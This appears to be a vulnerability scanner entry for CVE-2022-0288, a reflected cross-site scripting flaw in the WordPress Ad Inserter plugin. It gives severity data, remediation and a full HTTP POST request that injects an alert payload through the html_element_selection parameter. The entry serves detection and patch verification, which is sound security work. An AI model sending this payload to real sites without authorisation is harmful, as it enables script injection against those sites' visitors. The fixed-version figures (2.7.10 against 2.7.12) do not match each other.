| Title | WordPress Ad Inserter <2.7.10 - Cross-Site Scripting |
|---|---|
| Author | DhiyaneshDK |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing attackers to execute malicious scripts in the context of the victim's browser. |
| Remediation | Fixed in version 2.7.12 |
| CVSS Score | 6.1 |
| EPSS Score | 0.02178 |
| CVE ID | CVE-2022-0288 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wordpress xss wpscan ad_inserter_pro_project vkev vuln |
WordPress Ad Inserter plugin before 2.7.10 contains a cross-site scripting vulnerability. It does not sanitize and escape the html_element_selection parameter before outputting it back in the page.
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Content-Length: 74
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
html_element_selection=</script><img+src+onerror=alert(document.domain)>
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